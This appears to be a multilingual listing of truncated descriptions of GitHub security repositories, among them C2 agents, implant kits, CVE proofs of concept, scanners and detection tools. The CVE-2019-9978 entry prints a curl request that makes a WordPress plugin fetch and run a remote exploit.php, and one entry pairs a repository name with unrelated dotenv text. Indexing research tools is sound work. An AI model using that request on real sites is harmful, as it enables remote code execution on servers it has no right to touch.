BlockchainC2

BlockchainC2 BlockchainC2 es un pequeño servidor/agente POC para evaluar cómo la Blockchain específicamente la funcionalidad de Smart Contracts de Ethereum puede ser utilizada por un atacante para C2. Los detalles sobre esta aplicación se pueden encontrar aquí. Smart Contract El Smart Contract...

jarm

JARM Please read the initial JARM blog post for more information. JARM is an active Transport Layer Security TLS server fingerprinting tool. JARM fingerprints can be used to: Quickly verify that all servers in a group have the same TLS configuration. Group disparate servers on the internet by...

kin

Una nueva base para el código. Kin es un repositorio de código nativo de grafos para personas y agentes de IA. Almacena el código fuente, las relaciones de código registradas y el historial versionado como estado del repositorio. El grafo es el modelo del repositorio, no un índice de búsqueda...

kin

A new foundation for code. Kin is a graph-native code repository for people and AI agents. It stores source, recorded code relationships, and versioned history as repository state. The graph is the repository model, not a search index maintained beside another repository. Functions, types, and th...

OffensiveNim

OffensiveNim 这是我使用Nim开发implant植入体和常用的攻击作战工具的实验。 目录 OffensiveNim 为什么用Nim 使用范例 范例中的半成品 编译范例 跨平台编译 C/C++接口 用DllMain入口点函数创建Windows DLLs 优化可执行程序大小 是否使用Winim库，可执行程序大小是不同的 Opsec考虑 转换C代码去Nim 跨语言使用 调试 配置开发环境 我遇到过的陷阱 有趣的Nim库 Nim植入体开发相关连接 为什么用Nim 直接编译成 C, C++, Objective-C 和 Javascript。...

smbexec

smbexec A rapid psexec style attack with samba tools Original Concept and Script by Brav0Hax & PureHate Ported to ruby and modified by Smilingraccoon and Zeknox Codename - Machiavellian Written because we got sick of Metasploit PSExec getting popped Special thanks to Carnal0wnage who's blog...

semgrep-rules

semgrep-rules "The attack surface is the vulnerability. Finding a bug there is just a detail." -- Mark Dowd "Some details are more important than others." -- Fedor G. Pikus A collection of my Semgrep rules to facilitate vulnerability research. Blog posts...

CVE-2024-9593

CVE-2024-9593 Time Clock = 1.2.2 & Time Clock Pro = 1.1.4 - 未认证（有限）远程代码执行 描述： Time Clock 插件和 Time Clock Pro 插件 for WordPress 在版本最高至 1.2.2（Time Clock）和 1.1.4（Time Clock Pro）时，通过 'etimeclockwploadfunctioncallback' 函数存在远程代码执行漏洞。这使得未经认证的攻击者能够在服务器上执行代码。但无法指定所调用函数的参数。 详情 Published: 2024-10-18 00:00:00...

poc-cve-2025-55182

CVE-2025-55182 React2Shell - Prueba de Concepto ⚠️ ADVERTENCIA: Este repositorio es solo para fines educativos e investigación de seguridad. No use este exploit contra sistemas que no posea o para los que no tenga permiso explícito de prueba. Resumen Este repositorio contiene una demostración de...

Maverick

Maverick An Adaptix C2 agent built with Crystal Palace — a custom PIC Position Independent Code linker and PICO module system. Demonstrates how to build modular shellcode agents where each component transport, tasks, obfuscation is a separate PICO blob loaded at runtime. Note This agent does not...

cve-2025-32434-poc

CVE-2025-32434 Descripción Detalles Técnicos El punto de entrada de la vulnerabilidad es load en torch/serialization.py cuando la protección weightsonly está habilitada: cargar un archivo tar llamaría a estas funciones en cadena: 1. load: torch/serialization.py:1117 2. loadlegacy:...

Elkeid

Elkeid - Bytedance Cloud Workload Protection Platform English | 简体中文 Elkeid 是一款可以满足 主机，容器与容器集群，Serverless 等多种工作负载安全需求的开源解决方案，源于字节跳动内部最佳实践。 随着企业的业务发展，多云、云原生、多种工作负载共存的情况愈发凸显，我们希望可以有一套方案可以满足不同工作负载下的安全需求，因此 Elkeid 诞生了。 Introduction Elkeid 具备以下主要能力： Elkeid 不仅具备传统的 HIDSHost Intrusion Detection System...

blutter

Blutter Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime Currently the application supports only Android libapp.so arm64 only. Also the application is currently work only against recent Dart versions. For high priority missing features, see TODO Environment Setup...

CVE-2025-55183-poc

CVE-2025-55183-poc – Divulgación de código fuente de funciones de servidor en React Server Components de Next.js Este repositorio contiene herramientas de detección para una vulnerabilidad de divulgación de código fuente en React Server Components RSC / Server Actions de Next.js, registrada como...

RawrXDA

🎉 announcing dotenvx. run anywhere, multi-environment, encrypted envs. Dotenv es apoyado por la comunidad. Gracias espaciales a: Graphite is the AI developer productivity platform helping teams on GitHub ship higher quality software, faster. dotenv Dotenv es un módulo de dependencia cero que carg...

glassworm-hunter

glassworm-hunter 在你的机器上检测GlassWorm供应链攻击载荷。扫描VS Code扩展、npm包、Python包和git仓库。 该扫描器检测攻击技术本身 ——不可见的Unicode变体选择器载荷、GlassWorm解码器模式、C2指示器和凭据窃取代码。 安装 pip install glassworm-hunter 或者使用pipx： pipx install glassworm-hunter 快速开始 扫描当前目录，但不扫描VS Code/Cursor扩展： glassworm-hunter scan --no-extensions 扫描特定项目：...

CVE-2019-9978

CVE-2019-9978 - RCE en el plugin Social Warfare de Wordpress RCE en el plugin Social Warfare de Wordpress sin necesidad de autenticación previa Prueba de concepto curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Código vulnerable ...

CVE-2022-35914-poc

CVE-2022-35914 PoC 参考 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 用法 pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection using a third-par...

AttackSurfaceManagement

ACERCA DE: Descubra la superficie de ataque y priorice los riesgos con nuestra plataforma continua de Gestión de la Superficie de Ataque ASM - Sn1per Professional. Para más información, visite https://sn1persecurity.com. CARACTERÍSTICAS: Descubrimiento de la Superficie de Ataque Descubra fácilmen...

ai-reverse-engineering

Rev·Deck — 借助 Ghidra 的 AI 辅助逆向工程 Rev·Deck 是一款本地、单用户的静态分析工作站。它将证据优先的 Web 界面与 LLM 副驾驶（copilot）相结合，作用于由无头 Ghidra 服务分析过的二进制文件：你可以直接浏览确定性证据（函数、字符串、导入、交叉引用、有界调用图），也可以向助手提出有界问题，而助手的任何事实性论断都必须引用可检查的证据。 被分析的二进制文件绝不会被执行。浏览器只与本 Flask 应用通信；该应用将经过验证的类型化请求代理给 Ghidra 服务。 演示...